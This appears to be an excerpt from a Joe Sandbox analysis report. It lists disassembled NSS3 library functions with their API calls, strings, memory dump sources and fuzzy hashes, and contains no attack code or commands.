AllocateAndInitializeSid.ADVAPI32 ref: 6C991D4D
GetLastError.KERNEL32 ref: 6C991D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C991D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C991D7A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4865820dde027ac1a22a92741be27e4a0515fe4c2e267646f4315c380524b828
Instruction ID: de59e2d27bb8bab2b97e12ca1e7b02f0e870e51584bfb788c1b175aff59d734c
Opcode Fuzzy Hash: 4865820dde027ac1a22a92741be27e4a0515fe4c2e267646f4315c380524b828
Instruction Fuzzy Hash: B63173B5A00319AFEB24EF65DC48BAA7BB8FF4A308F048169F51892111E7309995CF65

Function 6C993D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C993DFB
__allrem.LIBCMT ref: 6C993EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C993FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C994047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9940DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C99415F
__allrem.LIBCMT ref: 6C99416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C994288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C9942AB
__allrem.LIBCMT ref: 6C9942B7

Strings

%03d, xrefs: 6C9942E8
%04d, xrefs: 6C99407B
%02d, xrefs: 6C994086
%lld, xrefs: 6C993FB2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: a4a82a8dcf72e52755debdc0cbf2cbf70110d177374432e4e6c830551637bfd6
Instruction ID: b325dd5a189fc68c473543d5096f434fb4a19952273e8aa640d9a1ece7c7d037
Opcode Fuzzy Hash: a4a82a8dcf72e52755debdc0cbf2cbf70110d177374432e4e6c830551637bfd6
Instruction Fuzzy Hash: B0F1F571A087409FE716CF38C84176BB7FABF99308F188A1DF49997A51E731D8858B42

Function 6C941C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C941D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C941EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C941FB7

Strings

sqlite_temp_master, xrefs: 6C941C5C
another row available, xrefs: 6C942287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C941F83
attached databases must use the same text encoding as main database, xrefs: 6C9420CA
unknown error, xrefs: 6C942291
abort due to ROLLBACK, xrefs: 6C942223
no more rows available, xrefs: 6C942264
table, xrefs: 6C941C8B
sqlite_master, xrefs: 6C941C61
unsupported file format, xrefs: 6C942188

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: c7b0aa848192d853e521db73be170df96076a4af6354a1bb1a71d2ca7e375c58
Instruction ID: 9c9362759969dca1671b113b0f9f74f76f234afcbcb9e0d1bd97d36fa40c36fd
Opcode Fuzzy Hash: c7b0aa848192d853e521db73be170df96076a4af6354a1bb1a71d2ca7e375c58
Instruction Fuzzy Hash: C712C0706087418FD704CF19C484A5AB7F6BF9A318F18C5ADE8859BB52D731E846CB92

Function 6CA0EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CA0DAE2,?), ref: 6CA0C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CA0F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA0F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CAD218C), ref: 6CA0F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CA0F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA0F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CA0F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CA0F210

Part of subcall function 6C9B52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CA0F1E9,?,00000000,?,?), ref: 6C9B52F5
Part of subcall function 6C9B52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C9B530F
Part of subcall function 6C9B52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C9B5326
Part of subcall function 6C9B52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CA0F1E9,?,00000000,?,?), ref: 6C9B5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA0F227

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CA0F23E

Part of subcall function 6C9FBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C9AE708,00000000,00000000,00000004,00000000), ref: 6C9FBE6A
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?), ref: 6C9FBE7E
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CA0F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA0F3A8

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CA0F3B3

Part of subcall function 6C9B2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C9B2D3C
Part of subcall function 6C9B2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9B2D5F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: e0c28c8bd1689bc3b4e7c72811c2e7702644863447e66a2f7a227084beb94507
Instruction ID: 5d451b09f6886ca1f1077c10142ca090a8fca5c329a905e2d04e4d3c5a42ab2f
Opcode Fuzzy Hash: e0c28c8bd1689bc3b4e7c72811c2e7702644863447e66a2f7a227084beb94507
Instruction Fuzzy Hash: 4DD18DB6E012059BDB04CFA9EC80A9EB7B5EF4835CF18802DD925B7711E731E846CB55

Function 6CA3DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CA17FFA,00000000,?,6CA423B9,00000002,00000000,?,6CA17FFA,00000002), ref: 6CA3DE33

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6CA3D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CA3DE74,6CA17FFA,00000002,?,?,?,?,?,00000000,6CA17FFA,00000000,?,6CA423B9,00000002), ref: 6CA3D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CA17FFA,00000000,?,6CA423B9,00000002,00000000,?,6CA17FFA,00000002), ref: 6CA3DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CA3DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA3E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA3E121
PK11_FreeSymKey.NSS3(?), ref: 6CA3E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CA3E195
PR_GetCurrentThread.NSS3 ref: 6CA3E1FC

Part of subcall function 6CA32460: PR_SetError.NSS3(FFFFE005,00000000,6CAD7379,00000002,?), ref: 6CA32493

Strings

early application data, xrefs: 6CA3DFC9
key, xrefs: 6CA3E046
application data, xrefs: 6CA3DFE0
handshake data, xrefs: 6CA3DFF7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: b60aa664e4cfddfdfaabd94d1aa92bfee4af5cc91942e3fe726f9f3aab1c79a9
Instruction ID: 14a542d9bf468fa5903732a01aeee4999af40be128bb455342d583fddd409f6d
Opcode Fuzzy Hash: b60aa664e4cfddfdfaabd94d1aa92bfee4af5cc91942e3fe726f9f3aab1c79a9
Instruction Fuzzy Hash: 29C1D671A002259BDB04CF69DD90BAAB7B5FF05308F184129E90DDBA51E335ED94CBA1

Function 6C9E3850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9E389F
EnterCriticalSection.KERNEL32(?), ref: 6C9E38B3
PR_Unlock.NSS3(?), ref: 6C9E38F1
TlsGetValue.KERNEL32 ref: 6C9E390F
EnterCriticalSection.KERNEL32(?), ref: 6C9E3923
PR_Unlock.NSS3(?), ref: 6C9E3972
TlsGetValue.KERNEL32 ref: 6C9E3996
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E39AE
PR_Unlock.NSS3(?), ref: 6C9E39DB
PR_Unlock.NSS3(?), ref: 6C9E3A16

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

TlsGetValue.KERNEL32 ref: 6C9E3A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E3A4E
PR_Unlock.NSS3(?), ref: 6C9E3A77
PR_SetError.NSS3(00000000,00000000), ref: 6C9E3A8F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: 562e17fe7b62fb406a661c8207b31b685a615196171e14e25dd40ca7218beb06
Instruction ID: 4ccfac78c0d83b9a794b5f62cff17ed2ddb701daee03cfed00f6cf56617dfcc4
Opcode Fuzzy Hash: 562e17fe7b62fb406a661c8207b31b685a615196171e14e25dd40ca7218beb06
Instruction Fuzzy Hash: 7A918B75E002199FDF01DF78D884AA9BBB8FF19318F089169EC15A7721E730E985CB91

Function 6C9EA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9EA9CA

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CB00B04,?), ref: 6C9EA9F7

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9EAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9EAA33
PK11_GetInternalKeySlot.NSS3 ref: 6C9EAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C9EAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C9EAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C9EAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9EAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C9EAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C9EAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9EABDC
PK11_FreeSymKey.NSS3(?), ref: 6C9EABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9EABF7

Part of subcall function 6C9EAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC35
Part of subcall function 6C9EAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9EAB3E,?,?,?), ref: 6C9EAC55
Part of subcall function 6C9EAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E,?,?), ref: 6C9EAC70
Part of subcall function 6C9EAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C9EAC92
Part of subcall function 6C9EAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9EAB3E), ref: 6C9EACD7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 361a92e77e7098eaf27d4d8d163fce4d8d9ba3cea1f564c90e2524672a3cf7bb
Instruction ID: 94c0be2997c41a619a74c88cabb92a84b33f981225fbcfd98eda802cc8ff0adc
Opcode Fuzzy Hash: 361a92e77e7098eaf27d4d8d163fce4d8d9ba3cea1f564c90e2524672a3cf7bb
Instruction Fuzzy Hash: FA710471A043019BD702DF24DC80B5BBBBAAFB8358F144A29F96497761FF31D9488792

Function 6C9C7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C9C7DDC

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9C7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C9C7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C9C7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C9C7F98
PK11_FreeSymKey.NSS3(?), ref: 6C9C7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9C7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C9C8000

Part of subcall function 6C9E9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C9C7F0C,?,00000000,00000000,00000000,?), ref: 6C9E943B
Part of subcall function 6C9E9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C9E946B
Part of subcall function 6C9E9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C9E9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9C8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C9C811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C9C822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C9C823C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 9742c4cb704996548ed106deaf01de157370129af9088fe710642f2d8a17efbf
Instruction ID: 0d784db0b672c1ee6401576237f789b1d0409e8e2fed4ef94267cc782bd259b2
Opcode Fuzzy Hash: 9742c4cb704996548ed106deaf01de157370129af9088fe710642f2d8a17efbf
Instruction Fuzzy Hash: 8BC170B1E002599BEB21CF14CC44BEAB7B8AF19348F0085E5E91DA7651E731DE85CF92

Function 6C9D0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C9D0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C9D1006
PK11_FreeSymKey.NSS3(?), ref: 6C9D101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9D1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9D103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C9D1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C9D10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D112E

Part of subcall function 6C9D1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C9D08C4,?,?), ref: 6C9D15B8
Part of subcall function 6C9D1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C9D08C4,?,?), ref: 6C9D15C1
Part of subcall function 6C9D1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D162E
Part of subcall function 6C9D1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D1637

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: e20f0fb345c91f5223828d2c9674ebb48496bbf3de2321359cf907b07aaa895f
Instruction ID: 7d599da086cd0011f8ccaec37940467bb478a37cf96a1977d354b5af2092ad62
Opcode Fuzzy Hash: e20f0fb345c91f5223828d2c9674ebb48496bbf3de2321359cf907b07aaa895f
Instruction Fuzzy Hash: 8471E272A00605CFDB04CFA5CD80A6AB7F4FF49328F15C628E519A7711E731E994CB81

Function 6C9F1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C9F1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C9F2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C9F228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C9F23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9F241C

Strings

manufacturer, xrefs: 6C9F2179
token, xrefs: 6C9F1F2C
serial, xrefs: 6C9F22A2
model, xrefs: 6C9F23CB, 6C9F23EC

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
